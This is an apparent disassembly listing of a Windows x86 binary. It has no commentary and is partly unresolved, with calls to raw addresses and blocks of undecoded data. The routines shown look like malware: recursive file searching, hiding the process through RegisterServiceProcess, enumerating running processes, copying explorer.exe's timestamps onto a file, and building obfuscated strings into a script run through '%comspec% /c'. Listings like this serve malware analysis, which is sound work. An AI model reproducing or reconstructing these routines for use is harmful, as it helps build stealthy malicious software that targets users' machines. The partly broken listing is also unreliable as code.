		lea	ecx, [esi+19h]
		mov	[esp+14h+var_4], 0
		call	sub_40142E
		lea	ecx, [esi+2Eh]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_40142E
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_40CF40	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40CFC0:				; CODE XREF: ___:loc_40228Ej
		push	0FFFFFFFFh
		push	offset loc_43A086
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+4], esi
		lea	ecx, [esi+2Eh]
		mov	dword ptr [esp+10h], 1
		call	sub_401226
		lea	ecx, [esi+19h]
		mov	byte ptr [esp+10h], 0
		call	sub_401226
		lea	ecx, [esi+4]
		mov	dword ptr [esp+10h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40D040	proc near		; CODE XREF: sub_40227Aj

var_548		= byte ptr -548h
var_51C		= byte ptr -51Ch
var_51B		= byte ptr -51Bh
var_408		= byte ptr -408h
var_304		= byte ptr -304h
var_200		= byte ptr -200h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h
arg_14		= dword	ptr  18h

		sub	esp, 548h
		lea	eax, [esp+548h+var_408]
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+554h+arg_10]
		push	edi
		mov	edi, dword_511AE4
		push	esi
		push	offset aS_1	; "%s\\*"
		push	104h
		push	eax
		call	edi	; _snprintf
		add	esp, 10h
		lea	ecx, [esp+558h+var_548]
		lea	edx, [esp+558h+var_408]
		push	ecx
		push	edx
		nop
		call	near ptr 2870000h
		mov	ebp, [esp+558h+arg_14]
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_40D107


loc_40D090:				; CODE XREF: sub_40D040+C5j
		test	[esp+558h+var_548], 10h
		jz	short loc_40D0F7
		cmp	[esp+558h+var_51C], 2Eh
		jnz	short loc_40D0AA
		mov	al, [esp+558h+var_51B]
		test	al, al
		jz	short loc_40D0F7
		cmp	al, 2Eh
		jz	short loc_40D0F7


loc_40D0AA:				; CODE XREF: sub_40D040+5Cj
		lea	eax, [esp+558h+var_51C]
		lea	ecx, [esp+558h+var_304]
		push	eax
		push	esi
		push	offset dword_444684
		push	104h
		push	ecx
		call	edi	; _snprintf
		mov	eax, [esp+56Ch+arg_C]
		mov	ecx, [esp+56Ch+arg_8]
		lea	edx, [esp+56Ch+var_304]
		push	ebp
		push	edx
		mov	edx, [esp+574h+arg_4]
		push	eax
		mov	eax, [esp+578h+arg_0]
		push	ecx
		push	edx
		push	eax
		call	sub_40227A
		add	esp, 2Ch
		mov	ebp, eax


loc_40D0F7:				; CODE XREF: sub_40D040+55j
					; sub_40D040+64j ...
		lea	ecx, [esp+558h+var_548]
		push	ecx
		push	ebx
		nop
		call	near ptr 2860000h
		test	eax, eax
		jnz	short loc_40D090


loc_40D107:				; CODE XREF: sub_40D040+4Ej
		push	ebx
		nop
		call	near ptr 285027Eh
		mov	edx, [esp+558h+arg_C]
		lea	eax, [esp+558h+var_408]
		push	edx
		push	esi
		push	offset dword_444684
		push	104h
		push	eax
		call	edi	; _snprintf
		add	esp, 14h
		lea	ecx, [esp+558h+var_548]
		lea	edx, [esp+558h+var_408]
		push	ecx
		push	edx
		call	near ptr 2870000h
		nop
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_40D19B


loc_40D148:				; CODE XREF: sub_40D040+159j
		lea	eax, [esp+558h+var_51C]
		lea	ecx, [esp+558h+var_200]
		push	eax
		push	esi
		push	offset aFoundSS	; "Found: %s\\%s"
		push	200h
		push	ecx
		inc	ebp
		call	edi	; _snprintf
		mov	edx, [esp+56Ch+arg_8]
		mov	ecx, [esp+56Ch+arg_4]
		lea	eax, [esp+56Ch+var_200]
		push	edx
		mov	edx, [esp+570h+arg_0]
		push	eax
		push	ecx
		push	edx
		call	sub_40152D
		add	esp, 24h
		lea	eax, [esp+558h+var_548]
		push	eax
		push	ebx
		call	near ptr 2860000h
		nop
		test	eax, eax
		jnz	short loc_40D148


loc_40D19B:				; CODE XREF: sub_40D040+106j
		push	ebx
		nop
		call	near ptr 285027Eh
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 548h
		retn
sub_40D040	endp

; ---------------------------------------------------------------------------
		db 90h
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40D210	proc near		; CODE XREF: sub_40104Bj

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40D210
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	edi
		push	0
		push	4
		push	4
		push	1
		push	13h
		lea	eax, [esp+58h+var_3C]
		push	1
		mov	esi, ecx
		push	eax
		call	sub_4019C4
		add	esp, 1Ch
		push	esi
		mov	ecx, eax
		mov	[esp+48h+var_4], 0
		call	sub_4017EE
		lea	ecx, [esi+19h]
		push	eax
		push	ecx
		mov	ecx, offset dword_449128
		call	sub_40159B
sub_40D210	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	0Ch
		push	5
		push	4
		push	13h
		lea	edx, [esp+1Ch]
		push	1
		push	edx
		call	sub_4019C4
		add	esp, 1Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 1
		call	sub_4017EE
		push	eax
		lea	eax, [esi+47h]
		push	eax
		mov	ecx, offset dword_449128
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	4
		push	4
		push	1
		push	3
		push	16h
		lea	ecx, [esp+20h]
		push	13h
		push	ecx
		call	sub_4019C4
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 2
		call	sub_4017EE
		lea	edx, [esi+75h]
		push	eax
		push	edx
		mov	ecx, offset dword_449128
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	0Ch
		push	5
		push	4
		push	3
		push	16h
		push	13h
		lea	eax, [esp+3Ch]
		push	eax
		call	sub_4019C4
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 3
		call	sub_4017EE
		add	esi, 0A3h
		push	eax
		push	esi
		mov	ecx, offset dword_449128
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+20h]
		mov	[esp+40h], edi
		call	sub_401226
		mov	ecx, [esp+38h]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 60h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40D3C0:				; CODE XREF: ___:004013CFj
		sub	esp, 104h
		lea	eax, [esp+0]
		push	104h
		push	eax
		push	0
		call	near ptr 2880000h
		nop
		push	eax
		call	near ptr 287135Dh
		nop
		mov	eax, dword_449080
		test	eax, eax
		jz	loc_40D4E3
		mov	ecx, dword_44907C
		test	ecx, ecx
		jz	loc_40D4E3
		mov	ecx, dword_448F48
		test	ecx, ecx
		jz	loc_40D4E3
		push	0
		push	2
		call	eax	; CreateToolhelp32Snapshot
		cmp	eax, 0FFFFFFFFh
		mov	dword_449078, eax
		jz	loc_40D4E3
		push	ebp
		push	offset dword_448F50
		push	eax
		xor	ebp, ebp
		mov	dword_448F50, 128h
		call	dword_44907C	; Process32First
		test	eax, eax
		jz	loc_40D4CC
		push	ebx
		mov	ebx, [esp+110h]
		push	esi
		mov	esi, dword_511AE0
		push	edi


loc_40D44D:				; CODE XREF: ___:0040D4C7j
		mov	edi, offset dword_448F74
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+10h]
		repne scasb
		not	ecx
		dec	ecx
		mov	edi, offset dword_448F74
		push	ecx
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		lea	edi, [esp+14h]
		sub	edx, ecx
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		push	offset dword_448F74
		add	edx, ecx
		push	edx
		call	esi	; strncmp
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_40D4B3
		mov	edi, offset dword_448F74
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		push	offset dword_448F74
		mov	ecx, ebx
		call	sub_40168B
		push	eax
		call	esi	; strncmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_40D4B4


loc_40D4B3:				; CODE XREF: ___:0040D48Bj
		inc	ebp


loc_40D4B4:				; CODE XREF: ___:0040D4B1j
		mov	eax, dword_449078
		push	offset dword_448F50
		push	eax
		call	dword_448F48	; Process32Next
		test	eax, eax
		jnz	short loc_40D44D
		pop	edi
		pop	esi
		pop	ebx


loc_40D4CC:				; CODE XREF: ___:0040D437j
		mov	ecx, dword_449078
		push	ecx
		nop
		call	near ptr 2830906h
		mov	eax, ebp
		pop	ebp
		add	esp, 104h
		retn
; ---------------------------------------------------------------------------


loc_40D4E3:				; CODE XREF: ___:0040D3E6j
					; ___:0040D3F4j ...
		xor	eax, eax
		add	esp, 104h
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40D540:				; CODE XREF: ___:00401FAFj
		sub	esp, 11Ch
		lea	eax, [esp+18h]
		push	ebx
		push	esi
		push	edi
		push	104h
		push	eax
		nop
		call	near ptr 2880C41h
		mov	edi, offset aExplorer_exe ; "\\explorer.exe"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+24h]
		repne scasb
		not	ecx
		sub	edi, ecx
		push	eax
		mov	esi, edi
		mov	ebx, ecx
		mov	edi, edx
		or	ecx, 0FFFFFFFFh
		repne scasb
		mov	ecx, ebx
		dec	edi
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		push	80h
		and	ecx, 3
		push	3
		push	eax
		push	1
		rep movsb
		mov	edi, dword_5118F0
		lea	eax, [esp+38h]
		push	80000000h
		push	eax
		call	edi
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40D606
		lea	ecx, [esp+1Ch]
		lea	edx, [esp+0Ch]
		push	ecx
		lea	eax, [esp+18h]
		push	edx
		push	eax
		push	esi
		nop
		call	near ptr 28807AFh
		mov	ebx, dword_5118E0
		push	esi
		call	ebx
		mov	ecx, [esp+12Ch]
		push	0
		push	80h
		push	3
		push	0
		push	2
		push	40000000h
		push	ecx
		call	edi
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40D606
		lea	edx, [esp+1Ch]
		lea	eax, [esp+0Ch]
		push	edx
		lea	ecx, [esp+18h]
		push	eax
		push	ecx
		push	esi
		nop
		call	near ptr 288018Ah
		push	esi
		call	ebx


loc_40D606:				; CODE XREF: ___:0040D5A9j
					; ___:0040D5EBj
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 11Ch
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40D660	proc near		; CODE XREF: sub_401B6Dj

var_19C		= byte ptr -19Ch
var_184		= byte ptr -184h
var_16C		= byte ptr -16Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	0FFFFFFFFh
		push	offset SEH_40D660
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 190h
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+1A8h+var_16C]
		call	sub_40142E
		push	104h
		push	104h
		lea	ecx, [esp+1B0h+var_16C]
		mov	[esp+1B0h+var_4], 0
		call	sub_401C71
		push	eax
		call	near ptr 27F0000h
		nop
		lea	ecx, [esp+1A8h+var_16C]
		call	sub_4017EE
		push	eax
		lea	ecx, [esi+4]
		call	sub_4015E1
		lea	ecx, [esp+1A8h+var_184]
		call	sub_40142E
		mov	ebx, 1
		push	104h
		push	104h
		lea	ecx, [esp+1B0h+var_184]
		mov	byte ptr [esp+1B0h+var_4], bl
		call	sub_401C71
		push	eax
		push	0
		nop
		call	near ptr 2880000h
		push	eax
		nop
		call	near ptr 287135Dh
		push	offset aKernel32_dll_0 ; "kernel32.dll"
		nop
		call	near ptr 27E08BCh
		mov	esi, eax
		test	esi, esi
		jz	short loc_40D751
		mov	edi, dword_511918
		push	offset aRegisterservic ; "RegisterServiceProcess"
		push	esi
		call	edi
		push	offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
		push	esi
		mov	dword_449084, eax
		call	edi
		push	offset aProcess32first ; "Process32First"
		push	esi
		mov	dword_449080, eax
		call	edi
		push	offset aProcess32next ;	"Process32Next"
		push	esi
		mov	dword_44907C, eax
		call	edi
		mov	dword_448F48, eax
		mov	eax, dword_449084
		test	eax, eax
		jz	short loc_40D751
		push	ebx
		push	0
		call	eax


loc_40D751:				; CODE XREF: sub_40D660+A7j
					; sub_40D660+EAj
		mov	esi, [esp+1A8h+arg_0]
		push	0
		mov	ecx, esi
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+1B0h+var_184]
		call	sub_402135
		test	eax, eax
		jnz	short loc_40D788
		mov	al, byte_44916F
		test	al, al
		jz	short loc_40D788
		mov	ecx, esi
		call	sub_4017EE
		push	eax
		call	sub_401604
; ---------------------------------------------------------------------------
		add	esp, 4


loc_40D788:				; CODE XREF: sub_40D660+10Dj
					; sub_40D660+116j
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	46h
		push	47h
		push	12h
		push	10h
		push	10h
		push	0Eh
		push	9
		lea	eax, [esp+1D8h+var_19C]
		push	17h
		push	eax
		call	sub_4019C4
		add	esp, 38h
		mov	ecx, eax
		mov	byte ptr [esp+1A8h+var_4], 2
		call	sub_4017EE
		push	eax
		call	sub_401604
sub_40D660	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ecx, [esp+0Ch]
		mov	[esp+1A4h], bl
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	14h
		push	13h
		push	0Fh
		push	8
		push	0Ch
		push	0Ch
		lea	ecx, [esp+38h]
		push	4
		push	ecx
		call	sub_4019C4
		add	esp, 34h
		mov	ecx, eax
		mov	byte ptr [esp+1A4h], 3
		call	sub_4017EE
		push	eax
		call	sub_401604
; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ecx, [esp+0Ch]
		mov	[esp+1A4h], bl
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	4
		push	10h
		push	14h
		push	6
		lea	edx, [esp+30h]
		push	14h
		push	edx
		call	sub_4019C4
		add	esp, 2Ch
		mov	ecx, eax
		mov	byte ptr [esp+1A4h], 4
		call	sub_4017EE
		push	eax
		call	sub_401604
; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ecx, [esp+0Ch]
		mov	[esp+1A4h], bl
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	14h
		push	13h
		push	ebx
		push	0Ch
		push	2
		push	13h
		lea	eax, [esp+38h]
		push	0Dh
		push	eax
		call	sub_4019C4
		add	esp, 34h
		mov	ecx, eax
		mov	byte ptr [esp+1A4h], 5
		call	sub_4017EE
		push	eax
		call	sub_401604
; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ecx, [esp+0Ch]
		mov	[esp+1A4h], bl
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	46h
		push	47h
		push	13h
		push	9
		push	0Eh
		push	5
		lea	ecx, [esp+38h]
		push	10h
		push	ecx
		call	sub_4019C4
		add	esp, 34h
		mov	ecx, eax
		mov	byte ptr [esp+1A4h], 6
		call	sub_4017EE
		push	eax
		call	sub_401604
; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ecx, [esp+0Ch]
		mov	[esp+1A4h], bl
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	8
		push	3
		push	14h
		push	ebx
		push	10h
		push	13h
		lea	edx, [esp+38h]
		push	0Dh
		push	edx
		call	sub_4019C4
		add	esp, 34h
		mov	ecx, eax
		mov	byte ptr [esp+1A4h], 7
		call	sub_4017EE
		push	eax
		call	sub_401604
; ---------------------------------------------------------------------------
		db 83h
		dd 4C8D04C4h, 9C880C24h, 1A424h, 38D4E800h, 448DFFFFh
		dd 6A3C24h, 244C8D50h, 3EB4E82Ch, 0C085FFFFh, 116850Fh
		dd 8B550000h, 3E7CE8CEh, 6A50FFFFh, 244C8D5Ch, 3E70E848h
		dd 8D50FFFFh, 0A8248Ch,	18680000h, 5100444Bh, 1E9B40E8h
		dd 3D8B9000h, 5118ACh, 0FF14C483h, 24948DD7h, 9Ch, 8D52006Ah
		dd 8B30244Ch, 3CD9E8E8h, 358BFFFFh, 511914h, 85D6FF50h
		dd 0FF3075C0h, 3DC52BD7h, 61A8h, 0D0682573h, 90000007h
		dd 42262BE8h, 24848D02h, 9Ch, 8D50006Ah, 0E830244Ch, 0FFFF3CA3h
		dd 85D6FF50h, 0A0D074C0h, 4497CBh, 74C0845Dh, 0D8358B39h
		dd 6800511Ah, 104h, 9C248C8Dh, 68000000h, 444B10h, 83D6FF51h
		dd 4C8D0CC4h, 4682424h,	0E8000001h, 0FFFF3DCAh,	9C24948Dh
		dd 50000000h, 83D6FF52h, 11B90CC4h, 33000000h, 247C8DC0h
		dd 24948D54h, 98h, 8966ABF3h, 842484h, 448D0000h, 4C8D0C24h
		dd 51505424h, 6A006Ah, 6A53286Ah, 52006A00h, 44C7006Ah
		dd 447C24h, 0E8900000h,	23E28F3h, 874C085h, 0FFE8006Ah
		dd 907782C3h, 24244C8Dh, 0A42484C6h, 1,	0FF3795E8h, 244C8DFFh
		dd 2484C73Ch, 1A4h, 0FFFFFFFFh,	0FF3781E8h, 248C8BFFh
		dd 19Ch, 5EC38A5Fh, 0D89645Bh, 0
; ---------------------------------------------------------------------------
		add	esp, 19Ch
		retn	4
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 120h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40DBF0	proc near		; CODE XREF: sub_401195j
		mov	al, byte_449171
		test	al, al
		jz	short loc_40DC04
		push	offset word_449172
		nop
		call	near ptr 27E0C56h


loc_40DC04:				; CODE XREF: sub_40DBF0+7j
		mov	al, 1
		retn
sub_40DBF0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40DC20	proc near		; CODE XREF: sub_401E79j

var_6D0		= dword	ptr -6D0h
var_6CC		= dword	ptr -6CCh
var_6C8		= dword	ptr -6C8h
var_6C4		= dword	ptr -6C4h
var_6C0		= dword	ptr -6C0h
var_6BC		= dword	ptr -6BCh
var_6B8		= dword	ptr -6B8h
var_6B4		= dword	ptr -6B4h
var_6B0		= byte ptr -6B0h
var_6AC		= byte ptr -6ACh
var_694		= byte ptr -694h
var_67C		= byte ptr -67Ch
var_664		= byte ptr -664h
var_64C		= byte ptr -64Ch
var_634		= byte ptr -634h
var_61C		= byte ptr -61Ch
var_604		= byte ptr -604h
var_5EC		= byte ptr -5ECh
var_5D4		= byte ptr -5D4h
var_5BC		= byte ptr -5BCh
var_5A4		= byte ptr -5A4h
var_58C		= byte ptr -58Ch
var_574		= byte ptr -574h
var_564		= dword	ptr -564h
var_534		= word ptr -534h
var_520		= byte ptr -520h
var_41C		= byte ptr -41Ch
var_318		= byte ptr -318h
var_214		= byte ptr -214h
var_110		= byte ptr -110h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40DC20
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 6C4h
		push	esi
		lea	eax, [esp+6D4h+var_41C]
		push	104h
		push	eax
		push	0
		nop
		call	near ptr 2880000h
		push	eax
		nop
		call	near ptr 287135Dh
		lea	ecx, [esp+6D4h+var_318]
		push	ecx
		push	104h
		call	near ptr 27D0000h
		nop
		push	0
		push	14h
		push	1
		push	2
		push	4Fh
		push	0Fh
		push	12h
		push	6
		lea	edx, [esp+6F4h+var_5EC]
		push	1
		push	edx
		call	sub_4019C4
		add	esp, 28h
		mov	ecx, eax
		mov	[esp+6D4h+var_4], 0
		call	sub_4017EE
		push	eax
		lea	eax, [esp+6D8h+var_318]
		push	eax
		lea	ecx, [esp+6DCh+var_520]
		push	offset dword_444684
		push	ecx
		nop
		call	sub_5F74D1
		add	esp, 10h
		lea	ecx, [esp+6D4h+var_5EC]
		mov	[esp+6D4h+var_4], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	0
		push	2
		push	0
		push	0
		lea	edx, [esp+6E8h+var_520]
		push	40000000h
		push	edx
		call	near ptr 2850000h
		nop
		mov	esi, eax
		test	esi, esi
		jbe	loc_40E178
		push	ebx
		push	ebp
		push	edi
		lea	ecx, [esp+6E0h+var_6AC]
		call	sub_40142E
		push	0
		push	14h
		push	1
		push	2
		lea	eax, [esp+6F0h+var_604]
		push	4Fh
		push	eax
		mov	[esp+6F8h+var_4], 1
		call	sub_4019C4
		mov	edi, eax
		push	0
		push	39h
		push	10h
		push	0Dh
		push	5
		push	14h
		push	39h
		push	4Eh
		push	0Ch
		push	5
		lea	ecx, [esp+720h+var_634]
		push	4
		push	ecx
		mov	byte ptr [esp+728h+var_4], 2
		call	sub_4019C4
		add	esp, 48h
		mov	ebp, eax
		push	0
		push	14h
		push	1
		push	2
		lea	edx, [esp+6F0h+var_664]
		push	4Fh
		push	edx
		mov	byte ptr [esp+6F8h+var_4], 3
		call	sub_4019C4
		mov	ebx, eax
		push	0
		push	39h
		push	10h
		push	0Dh
		push	5
		push	14h
		push	39h
		push	4Eh
		push	20h
		push	52h
		push	4Eh
		push	0Ch
		push	5
		lea	eax, [esp+72Ch+var_67C]
		push	4
		push	eax
		mov	byte ptr [esp+734h+var_4], 4
		call	sub_4019C4
		add	esp, 54h
		mov	[esp+6E0h+var_6B4], eax
		push	0
		push	5
		push	0Eh
		push	0Fh
		push	4
		lea	ecx, [esp+6F4h+var_61C]
		push	53h
		push	ecx
		mov	byte ptr [esp+6FCh+var_4], 5
		call	sub_4019C4
		mov	[esp+6FCh+var_6C8], eax
		mov	byte ptr [esp+6FCh+var_4], 6
		push	0
		push	14h
		push	12h
		push	1
		push	14h
		push	13h
		push	4Eh
		push	0Fh
		push	14h
		push	0Fh
		lea	edx, [esp+724h+var_5D4]
		push	7
		push	edx
		call	sub_4019C4
		add	esp, 4Ch
		mov	[esp+6E0h+var_6B8], eax
		push	0
		push	54h
		push	54h
		push	45h
		push	39h
		push	54h
		push	54h
		push	4Eh
		push	0Ch
		push	5
		lea	eax, [esp+708h+var_5A4]
		push	4
		push	eax
		mov	byte ptr [esp+710h+var_4], 7
		call	sub_4019C4
		mov	[esp+710h+var_6C0], eax
		push	0
		push	54h
		push	54h
		push	45h
		push	39h
		push	54h
		push	54h
		push	4Eh
		push	20h
		push	52h
		push	4Eh
		push	0Ch
		push	5
		lea	ecx, [esp+744h+var_58C]
		push	4
		push	ecx
		mov	byte ptr [esp+74Ch+var_4], 8
		call	sub_4019C4
		add	esp, 6Ch
		mov	[esp+6E0h+var_6D0], eax
		push	0
		push	5
		push	0Eh
		push	0Fh
		push	4
		push	4Eh
		push	0Fh
		push	14h
		push	0Fh
		push	7
		push	4Eh
		push	54h
		push	54h
		push	45h
		push	39h
		push	54h
		push	54h
		push	4Eh
		push	14h
		push	13h
		push	9
		push	18h
		push	5
		push	4Eh
		push	14h
		mov	byte ptr [esp+744h+var_4], 9
		push	0Fh
		push	0Eh
		push	4Eh
		push	6
		lea	edx, [esp+754h+var_694]
		push	9
		push	edx
		call	sub_4019C4
		mov	[esp+75Ch+var_6CC], eax
		push	0
		push	14h
		push	12h
		push	1
		push	14h
		push	13h
		lea	eax, [esp+774h+var_5BC]
		push	53h
		push	eax
		mov	byte ptr [esp+77Ch+var_4], 0Ah
		call	sub_4019C4
		add	esp, 9Ch
		mov	[esp+6E0h+var_6C4], eax
		push	0
		push	6
		push	6
		push	0Fh
		push	4Eh
		push	0Fh
		push	8
		push	3
		push	5
		lea	ecx, [esp+704h+var_64C]
		push	56h
		push	ecx
		mov	byte ptr [esp+70Ch+var_4], 0Bh
		call	sub_4019C4
		add	esp, 2Ch
		mov	[esp+6E0h+var_6BC], eax
		mov	ecx, edi
		mov	byte ptr [esp+6E0h+var_4], 0Ch
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4017EE
		mov	ecx, [esp+6E8h+var_6B4]
		push	eax
		call	sub_4017EE
		mov	ecx, [esp+6ECh+var_6C8]
		push	eax
		call	sub_4017EE
		mov	ecx, [esp+6F0h+var_6B8]
		push	eax
		call	sub_4017EE
		mov	ecx, [esp+6F4h+var_6C0]
		push	eax
		call	sub_4017EE
		mov	ecx, [esp+6F8h+var_6D0]
		push	eax
		call	sub_4017EE
		mov	ecx, [esp+6FCh+var_6CC]
		push	eax
		call	sub_4017EE
		mov	ecx, [esp+700h+var_6C4]
		push	eax
		call	sub_4017EE
		mov	ecx, [esp+704h+var_6BC]
		push	eax
		call	sub_4017EE
		push	eax
		lea	edx, [esp+70Ch+var_6AC]
		push	offset aSSSSSSSSSS ; "%s\r\n%s\r\n%s\r\n%s\r\n%s\r\n%s\r\n%s\r%s\r\n%s\r%s\r\n"
		push	edx
		call	sub_40102D
		add	esp, 34h
		mov	byte ptr [esp+6E0h+var_4], 0Bh
		lea	ecx, [esp+6E0h+var_64C]
		call	sub_401226
		lea	ecx, [esp+6E0h+var_5BC]
		mov	byte ptr [esp+6E0h+var_4], 0Ah
		call	sub_401226
		lea	ecx, [esp+6E0h+var_694]
		mov	byte ptr [esp+6E0h+var_4], 9
		call	sub_401226
		lea	ecx, [esp+6E0h+var_58C]
		mov	byte ptr [esp+6E0h+var_4], 8
		call	sub_401226
		lea	ecx, [esp+6E0h+var_5A4]
		mov	byte ptr [esp+6E0h+var_4], 7
		call	sub_401226
		lea	ecx, [esp+6E0h+var_5D4]
		mov	byte ptr [esp+6E0h+var_4], 6
		call	sub_401226
		lea	ecx, [esp+6E0h+var_61C]
		mov	byte ptr [esp+6E0h+var_4], 5
		call	sub_401226
		lea	ecx, [esp+6E0h+var_67C]
		mov	byte ptr [esp+6E0h+var_4], 4
		call	sub_401226
		lea	ecx, [esp+6E0h+var_664]
		mov	byte ptr [esp+6E0h+var_4], 3
		call	sub_401226
		lea	ecx, [esp+6E0h+var_634]
		mov	byte ptr [esp+6E0h+var_4], 2
		call	sub_401226
		lea	ecx, [esp+6E0h+var_604]
		mov	byte ptr [esp+6E0h+var_4], 1
		call	sub_401226
		lea	eax, [esp+6E0h+var_6B0]
		push	0
		push	eax
		push	69h
		lea	ecx, [esp+6ECh+var_6AC]
		call	sub_4017EE
		push	eax
		push	esi
		call	near ptr 27E0000h
		nop
		push	esi
		nop
		call	near ptr 2830906h
		mov	ecx, 11h
		xor	eax, eax
		lea	edi, [esp+6E0h+var_564]
		push	104h
		rep stosd
		lea	ecx, [esp+6E4h+var_41C]
		mov	[esp+6E4h+var_564], 44h
		push	ecx
		push	eax
		mov	[esp+6ECh+var_534], ax
		nop
		call	near ptr 2880000h
		push	eax
		call	near ptr 287135Dh
		nop
		lea	edx, [esp+6E0h+var_41C]
		lea	eax, [esp+6E0h+var_520]
		push	edx
		push	eax
		lea	ecx, [esp+6E8h+var_214]
		push	offset aComspecCSS ; "%%comspec%% /c %s	%s"
		push	ecx
		nop
		call	sub_5F74D1
		add	esp, 10h
		lea	edx, [esp+6E0h+var_110]
		lea	eax, [esp+6E0h+var_214]
		push	104h
		push	edx
		push	eax
		nop
		call	near ptr 2800000h
		lea	ecx, [esp+6E0h+var_574]
		lea	edx, [esp+6E0h+var_564]
		push	ecx
		push	edx
		push	0
		push	0
		push	28h
		push	1
		push	0
		push	0
		lea	eax, [esp+700h+var_110]
		push	eax
		push	0
		nop
		call	near ptr 27F0367h
		lea	ecx, [esp+6E0h+var_6AC]
		mov	[esp+6E0h+var_4], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		pop	ebp
		pop	ebx
		mov	al, 1
		pop	esi
		mov	ecx, [esp+6D0h+var_C]
		mov	large fs:0, ecx
		add	esp, 6D0h
		retn
; ---------------------------------------------------------------------------


loc_40E178:				; CODE XREF: sub_40DC20+D6j
		mov	ecx, [esp+6D4h+var_C]
		mov	al, 1
		pop	esi
		mov	large fs:0, ecx
		add	esp, 6D0h
		retn
sub_40DC20	endp

; ---------------------------------------------------------------------------
		db 160h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40E2F0	proc near		; CODE XREF: sub_401730j

var_70		= dword	ptr -70h
var_6C		= byte ptr -6Ch
var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
